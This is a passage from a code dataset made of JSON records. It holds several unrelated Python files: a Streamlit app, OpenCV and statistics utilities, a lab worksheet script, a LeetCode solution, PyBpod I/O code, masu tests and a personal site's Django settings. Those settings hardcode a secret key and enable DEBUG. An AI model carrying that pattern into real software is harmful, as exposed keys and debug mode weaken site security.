jsonify(resultDict)\n\n\n\n\n\n\n\n","sub_path":"boss_service/controllers/SpiderNodeApi.py","file_name":"SpiderNodeApi.py","file_ext":"py","file_size_in_byte":5887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"430854096","text":"import streamlit as st\r\nimport pandas as pd\r\nimport numpy as np\r\nimport pickle \r\nfrom sklearn.preprocessing import LabelEncoder\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nimport joblib\r\n\r\ndef user_input_features():\r\n\t\tpr1 = st.sidebar.text_input('Payment Rate (USD)')\r\n\t\tpr2 = st.sidebar.slider('', 30,120,40)\r\n\t\te11 = st.sidebar.text_input('Extra Income #1 (USD)')\r\n\t\te12 = st.sidebar.slider('', 0,30,10)\t\t\r\n\t\te21 = st.sidebar.text_input('Extra Income #2 (USD)')\r\n\t\te22 = st.sidebar.slider('', 0,30,5)\t\t\r\n\t\te31 = st.sidebar.text_input('Extra Income #3 (USD)')\r\n\t\te32 = st.sidebar.slider('', 0,30,0)\t\t\t\r\n\t\tif pr1:\r\n\t\t\tpr = pr1\r\n\t\telse:\t\t\t\r\n\t\t\tpr = pr2\t\t\r\n\t\tif e11:\r\n\t\t\te1 = e11\r\n\t\telse:\t\t\t\r\n\t\t\te1 = e12\t\t\r\n\t\tif e21:\r\n\t\t\te2 = e21\r\n\t\telse:\t\t\t\r\n\t\t\te2 = e22\t\t\r\n\t\tif e31:\r\n\t\t\te3 = e31\r\n\t\telse:\t\t\t\r\n\t\t\te3 = e32\r\n\t\tdata = {'Payment Rate (USD)': pr,\r\n\t\t\t\t\t\t'Extra Income #1 (USD)': e1,\r\n\t\t\t\t\t\t'Extra Income #2 (USD)': e2,\r\n\t\t\t\t\t\t'Extra Income #3 (USD)': e3}\r\n\t\tfeatures = pd.DataFrame(data, index=[0])\r\n\t\treturn features\r\n\t\t\t\t\r\nst.write(\"\"\"\r\n## Home Credit Default Risk App\r\n\r\nThis app predicts the **Home Credit Default Risk**\r\n\"\"\")\r\n\r\nst.sidebar.header('User Data')\r\nst.subheader('User Input Data')\r\n\r\nuploaded_file = st.sidebar.file_uploader(\"\", type=[\"csv\"])\r\nif uploaded_file is not None:\r\n input_df = pd.read_csv(uploaded_file)\r\n st.write(input_df)\r\nelse:\r\n input_df = user_input_features()\r\n st.write(input_df)\r\n\r\nrf = joblib.load(\"rf.sav\")\r\nif input_df.size <= 25:\t\r\n\t\tinput_df = pd.read_csv(\"rf0.csv\")\r\nlog_reg_pred2 = rf.predict_proba(input_df)\r\n\r\nst.subheader('Prediction Probability')\r\nst.write(log_reg_pred2)\r\n","sub_path":"penguins-app.py","file_name":"penguins-app.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"117092525","text":"import cv2\nimport numpy as np\n\nimg = np.zeros((512, 512, 3), np.uint8)\n\n# 画圆\n'''\ndef circle(img, center, radius, color, thickness=None, lineType=None, shift=None): # real signature unknown; restored from __doc__\n \"\"\"\n circle(img, center, radius, color[, thickness[, lineType[, shift]]]) -> img\n . @brief Draws a circle.\n . \n . The function cv::circle draws a simple or filled circle with a given center and radius.\n . @param img Image where the circle is drawn.\n . @param center Center of the circle.\n . @param radius Radius of the circle.\n . @param color Circle color.\n . @param thickness Thickness of the circle outline, if positive. Negative values, like #FILLED,\n . mean that a filled circle is to be drawn.\n . @param lineType Type of the circle boundary. See #LineTypes\n . @param shift Number of fractional bits in the coordinates of the center and in the radius value.\n \"\"\"\n pass\n'''\ncv2.circle(img, (447, 63), 63, (0, 0, 255), -1)\n\ncv2.imshow(\"result\", img)\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()\n","sub_path":"006-图像处理/OpenCV/learn/绘图操作/画圆.py","file_name":"画圆.py","file_ext":"py","file_size_in_byte":1076,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"601512630","text":"#Autor: Víctor Manuel Rodríguez Loyola. A01747755\r\n#Descripción: Este programa calcula el total a pagar al comprar boletos de diferentes categorías en un estadio.\r\n\r\n\r\ndef calcularPago(asientosA, asientosB, asientosC): #Calcula el pago total de acuerdo al precio de cada asiento\r\n totalPago= asientosA*925 + asientosB*775 + asientosC*360\r\n return totalPago\r\n\r\n\r\ndef main():\r\n numeroBoletosA = int(input(\"Número de boletos clase A: \"))\r\n numeroBoletosB = int(input(\"Número de boletos clase B: \"))\r\n numeroBoletosC = int(input(\"Número de boletos clase C: \"))\r\n totalPago= calcularPago(numeroBoletosA,numeroBoletosB,numeroBoletosC)\r\n print(\"El costo total es: $%.2f\" % totalPago)\r\n\r\n\r\nmain()\r\n\r\n\r\n\r\n","sub_path":"asientos.py","file_name":"asientos.py","file_ext":"py","file_size_in_byte":726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"476840322","text":"import cv2 as cv\nimport globalvars\nimport numpy as np\nfrom iploader import read_inputs\nfrom blurproc import foccal, newmaskimg, renderopfast\nimport time\n\n\n# Function to capture mouse move event in OpenCV output\ndef mouse_move(event, x, y, flags, param):\n if event == cv.EVENT_MOUSEMOVE:\n # Getting x and y coordinates\n globalvars.posx = x\n globalvars.posy = y\n\n\n# Main Display Function for output video\ndef output_win():\n # Initializing x and y mouse coordinates on output window\n globalvars.posx = 0\n globalvars.posy = 0\n\n # Declaring the output window\n cv.namedWindow('output')\n\n # Function call for checking if mouse is moved\n # Moving across width is x value\n # Moving along height is y value\n # table[frame_index][row or y][col or x]\n cv.setMouseCallback('output', mouse_move)\n\n # Initializing frame variables\n i = 0\n blur_area = 9\n\n # Continuous looping across all frames\n while (i < len(globalvars.imarr)):\n # Update frame\n frame = globalvars.opimarr[i][blur_area]\n cv.imshow('output', frame)\n\n # Restrict output to 25 fps\n time.sleep(0.04)\n\n # Increment frame counter\n i += 1\n\n # Facilitate looping of video\n if i == len(globalvars.imarr):\n i = 0\n\n # Compensate for outlier values generated during mask generation\n comp_var = np.uint8(globalvars.opluptable[i][globalvars.posy][globalvars.posx])\n if comp_var < 10:\n blur_area = comp_var\n\n # Keyboard input to close window with the 'ESC' key\n if cv.waitKey(20) & 0xFF == 27:\n break\n\n cv.destroyAllWindows()\n\n return\n\n\n# Code to generate data for the Preview function\ndef genpreview(blurfac):\n # Initialize with the data for the first frame\n globalvars.img = cv.imread(globalvars.dirr + '/(01).jpg')\n globalvars.arr1 = np.load(globalvars.dirr + '/(01).npy')\n\n globalvars.imarr, npyarr = read_inputs()\n\n # Calculate the minimum and step size\n minar = np.min(npyarr[0])\n step = np.round((np.max(npyarr[0]) - np.min(npyarr[0])) / 10, 3)\n\n # Initialize and generate user requested blur levels(blurfac) for each of the 10 depth zones\n blarrs = []\n for i in range(10):\n blarrs.append(foccal(minar + i * step, step, minar))\n\n blurimages, masks, globalvars.lup_tab = newmaskimg(globalvars.imarr[0], npyarr[0], blurfac)\n globalvars.opims = renderopfast(blurimages, blarrs, globalvars.imarr[0], masks)\n return\n\n# Display function for the Preview function\ndef preview_win():\n # Obtain user required blur level from the drop-down menu\n blurfac = int(globalvars.blurVariable.get())\n # Generate the requested blur level for each of the 10 depth zones\n genpreview(blurfac)\n # Initialize mouse pointer positions\n globalvars.posx = 0\n globalvars.posy = 0\n # Declaring the Output Window\n cv.namedWindow('Preview output')\n # Function call for checking if mouse is moved\n # Moving across width is x value\n # Moving along height is y value\n # table[frame_index][row or y][col or x]\n cv.setMouseCallback('Preview output', mouse_move)\n\n # Initializing frame variables\n i = 0\n blur_area = 9\n # Infinte loop prevents Output window from freezing while waiting for mouse move\n while (i == 0):\n # Update frame\n frame = globalvars.opims[blur_area]\n cv.imshow('Preview output', frame)\n # Compensate for outlier values generated during mask generation\n comp_var = np.uint8(globalvars.lup_tab[globalvars.posy][globalvars.posx])\n if comp_var < 10:\n blur_area = comp_var\n # Exit conditions, waiting fro 'ESC' key press\n if cv.waitKey(20) & 0xFF == 27:\n break\n\n cv.destroyAllWindows()\n\n return\n","sub_path":"code/outputfuncs.py","file_name":"outputfuncs.py","file_ext":"py","file_size_in_byte":3807,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"493855739","text":"class Solution:\r\n def maxDistToClosest(self, seats):\r\n \"\"\"\r\n :type seats: List[int]\r\n :rtype: int\r\n \"\"\"\r\n l = 0\r\n for i in range(len(seats)):\r\n if seats[i] == 1:\r\n l = i \r\n break\r\n maxd = l # left\r\n for i in range(l + 1, len(seats)):\r\n if seats[i] == 1:\r\n maxd = max(maxd, (i - l) // 2)\r\n l = i\r\n maxd = max(maxd, len(seats) - l - 1)\r\n return maxd\r\n\r\n\r\nif __name__ == '__main__':\r\n # inputs\r\n seats = [1,0,0,0,0,0,1,0,1]\r\n # seats =[1,0,0,0]\r\n seats =[0,0,1]\r\n # seats = [0] * 3 + [1,0,0,0,0,0,0,0,0,0,0,1,0,1] + [0] * 3\r\n print(seats)\r\n print('-' * 30)\r\n res = Solution().maxDistToClosest(seats)\r\n print(res)","sub_path":"849_maxDistToClosest.py","file_name":"849_maxDistToClosest.py","file_ext":"py","file_size_in_byte":791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"195863945","text":"# -*- coding: utf-8 -*-\n\n# Note: Python 3 source code, run under SCL.\n\n# This script is designed to output an Excel file to help dilution for cluster gen.\n# Based on: ../sample-prep/dna_norm_worksheet.py\n\n# Generate table for normalisation, for clustering\n\n# Installation of requirements on RHEL6/Centos6:\n#$ sudo yum install rh-python35\n#$ sudo scl enable rh-python35 bash # This opens a sub-shell, run the following in the sub-shell:\n## pip install openpyxl\n## pip install requests\n# (exit; done)\n\n\n# The script can be used on different steps, and thus has to support different sets of UDF names.\n# The third command line argument is used as a code to select UDFs from which to take the values.\n\nfrom openpyxl.styles import Border, Side, Alignment, Font\nfrom openpyxl import Workbook\nfrom genologics.lims import *\nfrom genologics import config\nimport sys\nimport re\n\n\nif len(sys.argv) > 3:\n code = sys.argv[3]\nelse:\n code = \"TruSeq\"\nif code == \"Diag\":\n CONC_INPUT_UDF = \"Conc Input (nM) Diag\"\n VOLUME_PHIX_UDF = \"Volume PhiX (uL) Diag\"\n VOLUME_FINAL_UDF = \"Volume final (uL) Diag\"\nelif code == \"TruSeq\":\n CONC_INPUT_UDF = \"Conc. Input (nM) TruSeq DNA\"\n VOLUME_PHIX_UDF = \"Volume PhiX (uL) TruSeq DNA\"\n VOLUME_FINAL_UDF = \"Volume final (uL) TruSeq DNA\"\n\n\nSTART_COL = 2\nSTART_ROW = 2\n\nwarning = []\n\nlims = Lims(config.BASEURI, config.USERNAME, config.PASSWORD)\nprocess = Process(lims, id=sys.argv[1])\n\nwb = Workbook()\nws = wb.active\nside_style = Side(border_style=\"thin\")\nthick_side_style = Side(border_style=\"thick\")\n\ndef sort_key(elem):\n input, output = elem\n container, well = output.location\n row, col = well.split(\":\")\n return (container.id, int(col), row)\n\nformatting = [\n (\"Sample name\", 16, None), \n (\"Well\", 8, None),\n (\"Sample conc. [nM]\", 10, '0.00'),\n (\"Conc. Input [nM]\", 10,'0.0'),\n (\"Volum final [uL]\", 10, '0'),\n (\"Input [uL]\", 10, '0.00'),\n (\"RSB [uL]\", 10, '0.00'),\n (\"PhiX [uL]\", 10, '0.00'),\n (\"Well strip\", 9, '0')\n ]\n\ncol_index = {name: i for i, (name, _, _) in enumerate(formatting)}\n\n\nfor i, (header, width, number_format) in enumerate(formatting):\n cell = ws.cell(row=START_ROW, column=i+START_COL)\n left_style = thick_side_style if i == 0 else side_style\n right_style = thick_side_style if i == len(formatting)-1 else side_style\n border_style = Border(top=thick_side_style, left=left_style, right=right_style, bottom=side_style)\n cell.border = border_style\n cell.alignment = Alignment(wrapText=True, horizontal='center')\n cell.font = Font(bold=True)\n cell.value = header\n ws.column_dimensions[chr(ord('A')+i+START_COL-1)].width = width\n\ni_os = process.input_output_maps\ninputs_outputs = [(i['uri'], o['uri']) for i,o in i_os if o['output-generation-type'] == 'PerInput']\nlims.get_batch([i for i,o in inputs_outputs] + [o for i,o in inputs_outputs])\n\nfor row_index, (input, output) in enumerate(sorted(inputs_outputs, key=sort_key), 1+START_ROW):\n\n top_style = thick_side_style if row_index == 1+START_ROW else side_style\n bottom_style = thick_side_style if row_index == START_ROW+len(inputs_outputs) else side_style\n\n ws.cell(row=row_index, column=START_COL).border =\\\n Border(top=top_style, left=thick_side_style, right=side_style, bottom=bottom_style)\n ws.cell(row=row_index, column=START_COL+len(formatting)-1).border =\\\n Border(top=top_style, left=side_style, right=thick_side_style, bottom=bottom_style)\n for i in range(START_COL+1, START_COL+len(formatting)-1):\n ws.cell(row=row_index, column=i).border = \\\n Border(top=top_style, left=side_style, right=side_style, bottom=bottom_style)\n\n for i in range(len(formatting)):\n ws.cell(row=row_index,column=i+START_COL).alignment = Alignment(horizontal='center')\n if formatting[i][2]:\n ws.cell(row=row_index,column=i+START_COL).number_format = formatting[i][2]\n\n\n # ---- Artifact info ----\n ws.cell(row=row_index, column=START_COL+col_index[\"Sample name\"]).value = input.name\n ws.cell(row=row_index, column=START_COL+col_index[\"Well\"]).value = input.location[1].replace(\":\", \"\")\n molarity = input.udf['Molarity']\n ws.cell(row=row_index, column=START_COL+col_index[\"Sample conc. [nM]\"]).value = molarity\n\n # ---- Parameters (use specific for sample, or default) ----\n try:\n conc_input = output.udf[CONC_INPUT_UDF]\n phix_input = output.udf[VOLUME_PHIX_UDF]\n final_volume = output.udf[VOLUME_FINAL_UDF]\n except KeyError as e:\n print (\"Error: missing value for\", e, \"for sample\", output.name)\n sys.exit(1)\n\n ws.cell(row=row_index, column=START_COL+col_index[\"Conc. Input [nM]\"]).value = conc_input\n ws.cell(row=row_index, column=START_COL+col_index[\"Volum final [uL]\"]).value = final_volume\n ws.cell(row=row_index, column=START_COL+col_index[\"PhiX [uL]\"]).value = phix_input\n\n # ---- Calculated quantities ----\n \n # Input mirolitres\n conc_input_coord = ws.cell(row=row_index, column=START_COL+col_index[\"Conc. Input [nM]\"]).coordinate\n final_volume_coord = ws.cell(row=row_index, column=START_COL+col_index[\"Volum final [uL]\"]).coordinate\n molarity_coord = ws.cell(row=row_index, column=START_COL+col_index[\"Sample conc. [nM]\"]).coordinate\n ws.cell(row=row_index, column=START_COL+col_index[\"Input [uL]\"]).value = '=(({0}*{1})/{2})'.format(\n conc_input_coord, final_volume_coord, molarity_coord)\n\n # RSB microlitres\n phix_volume_coord = ws.cell(row=row_index, column=START_COL+col_index[\"PhiX [uL]\"]).coordinate\n input_ul_coord = ws.cell(row=row_index, column=START_COL+col_index[\"Input [uL]\"]).coordinate\n ws.cell(row=row_index, column=START_COL+col_index[\"RSB [uL]\"]).value = \"={0}-{1}-{2}\".format(\n final_volume_coord, input_ul_coord, phix_volume_coord)\n\n # ---- Well strip ----\n ws.cell(row=row_index, column=START_COL+col_index[\"Well strip\"]).value = int(output.location[1].partition(':')[0])\n\n\nlims.put_batch(o for i,o in inputs_outputs)\n\nwb.save(sys.argv[2] + '.xlsx')\n\nif warning:\n print(\"Warning: too low input concentration for samples:\", \", \".join(warning), \".\")\n sys.exit(1)\n\n","sub_path":"normalisation/clustering-normalisation.py","file_name":"clustering-normalisation.py","file_ext":"py","file_size_in_byte":6239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"561492330","text":"import numpy as np\nfrom scipy.stats import norm, stats\nimport statsmodels.api as sm\nfrom matplotlib import pyplot as plt\n\nclass StatsUtils:\n \"\"\"\n StatsUtils corresponds to Normal Distribution.\n \"\"\"\n def __init__(self):\n pass\n \n def _standard_deviation(self, ls: list):\n arr = np.array(ls)\n std_dev = np.std(arr)\n std_dev = int(std_dev*100)/100\n \n return std_dev\n \n def _variance(self, ls: list):\n arr = np.array(ls)\n var = np.var(arr)\n #var = int(var*100)/100\n \n return var\n \n def _maximum(self, ls: list):\n maxim = max(ls)\n maxim = int(maxim*100)/100\n \n return maxim\n \n def _minimum(self, ls: list):\n minim = min(ls)\n minim = int(minim*100)/100\n \n return minim\n \n def _mean(self, ls: list):\n arr = np.array(ls)\n avg = np.mean(arr)\n avg = int(avg*100)/100\n \n return avg\n \n def _median(self, ls: list):\n arr = np.array(ls)\n med = np.median(arr)\n med = int(med*100)/100\n \n return med\n \n def _mode(self, ls: list):\n arr = np.array(ls)\n mode_result = stats.mode(arr)\n _mode = int(mode_result.mode[0]*100)/100\n _count = int(mode_result.count[0]*100)/100\n \n return _mode, _count\n \n def _percentile(self, ls: list):\n arr = np.array(ls)\n per = np.percentile(arr, [5, 25, 50, 75, 90, 99])\n \n for i in range(0, len(per)):\n per[i] = int(per[i]*100)/100\n \n return per\n \n def _cdf(self, ls:list):\n x = np.array(ls)\n std_dev = self._standard_deviation(ls)\n mean = self._mean(ls)\n \n cdf = norm.cdf(x, mean, std_dev)\n \n return cdf\n \n def _pdf(self, ls:list):\n x = np.array(ls)\n std_dev = self._standard_deviation(ls)\n mean = self._mean(ls)\n \n pdf = norm.pdf(x, mean, std_dev)\n \n return pdf\n \n def stats_log(self, ls: list):\n std_dev = self._standard_deviation(ls)\n var = self._variance(ls)\n minim = self._minimum(ls)\n mean = self._mean(ls)\n median = self._median(ls)\n mode, count = self._mode(ls)\n maxim = self._maximum(ls)\n per = self._percentile(ls)\n \n log = {\n 'min': minim, \n 'mean': mean,\n 'median': median,\n 'max': maxim, \n 'mode': mode,\n 'std_dev': std_dev, \n 'variance': var\n }\n \n return log, per\n \n def visualization(self, r_log: dict, l_log: dict,\n r_title: str, l_title: str):\n fig, (ax0, ax1) = plt.subplots(1,2)\n ax0.bar(*zip(*r_log.items()))\n ax0.set_title(r_title)\n ax0.set(ylabel = 'Degrees')\n\n ax1.bar(*zip(*l_log.items()))\n ax1.set_title(l_title)\n\n plt.show()\n\nclass UniformDistribution:\n \"\"\"\n StatsUtils corresponds to Uniform Distribution.\n \"\"\"\n def __init__(self):\n pass\n \n def _mean(self, data: np.array):\n length = len(data)\n mean = (data[length - 1] + data[0])/2\n mean = int(mean*100)/100\n \n return mean\n \n def _median(self, data: np.array):\n length = len(data)\n median = (data[length - 1] + data[0])/2\n median = int(median*100)/100\n \n return median\n \n def _variance(self, data: np.array):\n length = len(data)\n var = ((data[length - 1] - data[0]) * \n (data[length - 1] - data[0]))/12\n #var = int(var*100)/100\n \n return var\n \n def _standard_deviation(self, data: np.array):\n var = self._variance(data)\n std_dev = var ** 0.5\n std_dev = int(std_dev*100)/100\n \n return std_dev\n \n def stats_log(self, data: np.array):\n std_dev = self._standard_deviation(data)\n var = self._variance(data)\n mean = self._mean(data)\n \n log = {\n 'mean': mean,\n 'std_dev': std_dev, \n 'variance': var\n }\n \n return log\n\nclass QQplot:\n def __init__(self):\n pass\n \n def qq_plot(self, data: np.array, title: str):\n \"\"\"\n Plot a QQ plot in order to estimate the distribution of the input data.\n \n :param data: desired data\n :type data: np.array\n :param title: desired title\n :type title: str\n \"\"\"\n fig = sm.qqplot(data, line = '45')\n fig.suptitle(title)\n plt.show()\n\n","sub_path":"stats/utils_stats.py","file_name":"utils_stats.py","file_ext":"py","file_size_in_byte":4651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"298874785","text":"# Django settings for my personal webpage\n\nDEBUG = True\nDREAMHOST = False\nTEMPLATE_DEBUG = DEBUG\nSEND_BROKEN_LINK_EMAILS = True\nimport os\nfrom .dbconfig import DATABASES\n\n# These locations are calculated based on the settings.py location\nD = os.path.dirname\nBASEDIR = os.path.realpath(D(__file__))\n\nADMINS = (\n ('Andre Anjos', 'andre.dos.anjos@gmail.com'),\n)\n\nMANAGERS = ADMINS\n\n# Local time zone for this installation. All choices can be found here:\n# http://www.postgresql.org/docs/current/static/datetime-keywords.html#DATETIME-TIMEZONE-SET-TABLE\nTIME_ZONE = 'Europe/Zurich'\n\n# Language code for this installation. All choices can be found here:\n# http://www.w3.org/TR/REC-html40/struct/dirlang.html#langcodes\n# http://blogs.law.harvard.edu/tech/stories/storyReader$15\nLANGUAGE_CODE = 'en'\n# Valid languages for this website\ngettext = lambda s: s\nLANGUAGES = (\n ('en', gettext('English')),\n ('pt-br', gettext('Brazilian Portuguese')),\n ('fr', gettext('French')),\n )\nDEFAULT_LANGUAGE = 1\n# Where to find MO compilations\nLOCALE_PATHS = ( '%s/templates/locale' % BASEDIR,\n )\n\nSITE_ID = 1\n\n# STATIC_ROOT: Absolute path to the directory that holds static media.\n# Example: \"/home/media/media.lawrence.com/\"\n# STATICFILES_DIRS: Add these extra paths when collecting static stuff\n# STATIC_URL: Relative path to the files through the webserver\n\nif DREAMHOST:\n STATIC_ROOT = os.path.join(D(D(D(BASEDIR))), 'public', 'static') + os.sep\n MEDIA_ROOT = os.path.join(D(D(D(BASEDIR))), 'public', 'media') + os.sep\n\nelse:\n STATIC_ROOT = os.path.join(D(D(BASEDIR)), 'static') + os.sep\n MEDIA_ROOT = os.path.join(D(D(BASEDIR)), 'media') + os.sep\n\nSTATIC_URL = '/static/'\nMEDIA_URL = '/media/'\n\nSTATICFILES_DIRS = [\n os.path.join(BASEDIR, 'static'),\n ]\n\n# The default url for logging into the site\nLOGIN_URL = '/openid/login/'\nLOGIN_REDIRECT_URL = '/'\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'wk&_+uqn)()=fz07y0qdl%@=m^gp^taf$&7ql&@-ffjk9aln_7'\n\n# List of callables that know how to import templates from various sources.\nif DEBUG:\n TEMPLATE_LOADERS = [\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n ]\nelse:\n TEMPLATE_LOADERS = [\n ('django.template.loaders.cached.Loader',(\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n )),\n ]\n\n# What we like to have in every page we render, as context\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.contrib.auth.context_processors.auth', #for users and permissions\n 'django.core.context_processors.static', #for STATIC_URL\n 'django.core.context_processors.i18n', #for LANGUAGES\n 'django.core.context_processors.request', #for the request on all pages\n 'anjos.website.context_processors.site', #for site\n 'anjos.website.context_processors.full_path', #for the full_path\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.cache.UpdateCacheMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.doc.XViewMiddleware',\n 'django.middleware.cache.FetchFromCacheMiddleware',\n 'maintenancemode.middleware.MaintenanceModeMiddleware',\n)\n\nAUTHENTICATION_BACKENDS = (\n 'django_openid_auth.auth.OpenIDBackend',\n 'django.contrib.auth.backends.ModelBackend',\n)\n\nROOT_URLCONF = 'anjos.website.urls'\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\".\n # Always use forward slashes, even on Windows.\n '%s/templates' % BASEDIR,\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.admin',\n 'django.contrib.markup',\n 'django.contrib.staticfiles',\n # 'django.contrib.sitemaps',\n\n # External projects reused\n 'djangoogle',\n 'nav',\n 'publications',\n 'order',\n 'flatties',\n\n # Other projects\n 'robots',\n 'django_openid_auth',\n)\n\n# Controls how many albums per page to see\nDJANGOOGLE_ALBUMS_PER_PAGE = 8\n\n# Disables the sitemap functionality for robots\nROBOTS_USE_SITEMAP = False\n\n# Enables filesystem caching\nif DEBUG:\n cache_backend = 'django.core.cache.backends.dummy.DummyCache'\nelse:\n cache_backend = 'django.core.cache.backends.filebased.FileBasedCache'\n\nCACHES = {\n 'default': {\n 'BACKEND': cache_backend,\n 'LOCATION': os.path.join(D(D(BASEDIR)), 'cache'),\n }\n}\n\n# Edit this if you want to cache the whole site and use the cache middleware\nCACHE_MIDDLEWARE_SECONDS = 600\nCACHE_MIDDLEWARE_ANONYMOUS_ONLY = True # only for outsiders\n\n# Which server do we authenticate against\nOPENID_SSO_SERVER_URL = 'https://www.google.com/accounts/o8/id'\n# Allow admins to login using this system\nOPENID_USE_AS_ADMIN_LOGIN = True\n# You may need this to establish your connection with Google for a start\n# OPENID_CREATE_USERS = True\n\n# For the maintenance mode middleware\n#MAINTENANCE_MODE = True\n","sub_path":"anjos/website/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5124,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"556013219","text":"# !/usr/bin/python3\n# -*- coding: utf-8 -*-\n\nimport logging\nimport os\nimport pybpodgui_api\nfrom sca.formats import json\nfrom pybpodgui_api.models.task.task_base import TaskBase\n\nlogger = logging.getLogger(__name__)\n\n\nclass TaskIO(TaskBase):\n \"\"\"\n Task I/O operations\n \"\"\"\n\n def __init__(self, project=None):\n super(TaskIO, self).__init__(project)\n\n self.data = None\n\n ##########################################################################\n ####### FUNCTIONS ########################################################\n ##########################################################################\n\n def save(self):\n \"\"\"\n Save setup data on filesystem.\n\n :ivar str project_path: Project path.\n :ivar dict data: Dictionary where to save the data to.\n :return: Dictionary containing the task info to save.\n :rtype: dict\n \"\"\"\n\n if (self.path and not os.path.exists(self.path)) or not self.path:\n self.make_path()\n\n if (self.filepath and not os.path.exists(self.filepath)) or not self.filepath:\n self.filepath = self.make_emptyfile()\n\n \"\"\"\n current_path = os.path.dirname(self.filepath)\n current_filename = os.path.basename(self.filepath)\n future_path = self.path\n\n if current_path!=future_path:\n shutil.move( current_path, future_path )\n current_filepath = os.path.join(future_path, current_filename)\n future_filepath = os.path.join(future_path, self.name+'.py')\n shutil.move( current_filepath, future_filepath )\n \"\"\"\n\n if self.data:\n data = self.data\n else:\n data = json.scadict(\n uuid4_id=self.uuid4,\n software='PyBpod GUI API v'+str(pybpodgui_api.__version__),\n def_url='http://pybpod.readthedocs.org',\n def_text='This file contains information about a PyBpod protocol.'\n )\n data['name'] = self.name\n data['trigger-softcodes'] = self.trigger_softcodes\n data['commands'] = [cmd.save() for cmd in self.commands]\n\n config_path = os.path.join(self.path, self.name+'.json')\n with open(config_path, 'w') as fstream:\n json.dump(data, fstream)\n\n def load(self, path):\n \"\"\"\n Load setup data from filesystem\n\n :ivar str task_path: Path of the task\n :ivar dict data: data object that contains all task info\n \"\"\"\n self.name = os.path.basename(path)\n\n config_path = os.path.join(self.path, self.name+'.json')\n if os.path.exists(config_path):\n with open(config_path, 'r') as stream:\n self.data = data = json.load(stream)\n self.uuid4 = data.uuid4 if data.uuid4 else self.uuid4\n self.filepath = os.path.join(self.path, self.name+'.py')\n else:\n self.data = data = {}\n\n self.trigger_softcodes = data.get('trigger-softcodes', None)\n\n for cmddata in data.get('commands', []):\n cmd = getattr(self, cmddata['type'])()\n cmd.load(cmddata)\n\n def collect_data(self, data):\n data.update({'name': self.name})\n data.update({'trigger_softcodes': self.trigger_softcodes})\n\n data.update({'commands': []})\n\n for cmd in self.commands:\n data['commands'].append(cmd.collect_data({}))\n\n return data\n","sub_path":"pybpodgui_api/models/task/task_io.py","file_name":"task_io.py","file_ext":"py","file_size_in_byte":3449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"340798801","text":"#\n# Copyright 2021 Red Hat Inc.\n# SPDX-License-Identifier: Apache-2.0\n#\n\"\"\"Test the OCP util.\"\"\"\nimport os\nimport shutil\nimport tempfile\nfrom unittest.mock import patch\nfrom uuid import UUID\n\nimport pandas as pd\n\nfrom api.provider.models import Provider\nfrom masu.config import Config\nfrom masu.database import OCP_REPORT_TABLE_MAP\nfrom masu.database.ocp_report_db_accessor import OCPReportDBAccessor\nfrom masu.database.provider_db_accessor import ProviderDBAccessor\nfrom masu.test import MasuTestCase\nfrom masu.test.database.helpers import ReportObjectCreator\nfrom masu.util.ocp import common as utils\n\n\nclass OCPUtilTests(MasuTestCase):\n \"\"\"Test the OCP utility functions.\"\"\"\n\n def setUp(self):\n \"\"\"Shared variables used by ocp common tests.\"\"\"\n super().setUp()\n self.accessor = OCPReportDBAccessor(schema=self.schema)\n self.provider_accessor = ProviderDBAccessor(provider_uuid=self.ocp_test_provider_uuid)\n self.report_schema = self.accessor.report_schema\n self.creator = ReportObjectCreator(self.schema)\n self.all_tables = list(OCP_REPORT_TABLE_MAP.values())\n\n self.provider_uuid = self.provider_accessor.get_provider().uuid\n reporting_period = self.creator.create_ocp_report_period(provider_uuid=self.provider_uuid)\n report = self.creator.create_ocp_report(reporting_period, reporting_period.report_period_start)\n self.creator.create_ocp_usage_line_item(reporting_period, report)\n self.creator.create_ocp_storage_line_item(reporting_period, report)\n self.creator.create_ocp_node_label_line_item(reporting_period, report)\n\n def test_get_cluster_id_from_provider(self):\n \"\"\"Test that the cluster ID is returned from OCP provider.\"\"\"\n cluster_id = utils.get_cluster_id_from_provider(self.ocp_test_provider_uuid)\n self.assertIsNotNone(cluster_id)\n\n def test_get_cluster_id_with_no_authentication(self):\n \"\"\"Test that a None is correctly returned if authentication is not present.\"\"\"\n # Remove test provider authentication\n Provider.objects.filter(uuid=self.ocp_test_provider_uuid).update(authentication=None)\n ocp_provider = Provider.objects.get(uuid=self.ocp_test_provider_uuid)\n self.assertIsNone(ocp_provider.authentication)\n # Assert if authentication is empty we return none instead of an error\n cluster_id = utils.get_cluster_id_from_provider(self.ocp_test_provider_uuid)\n self.assertIsNone(cluster_id)\n\n def 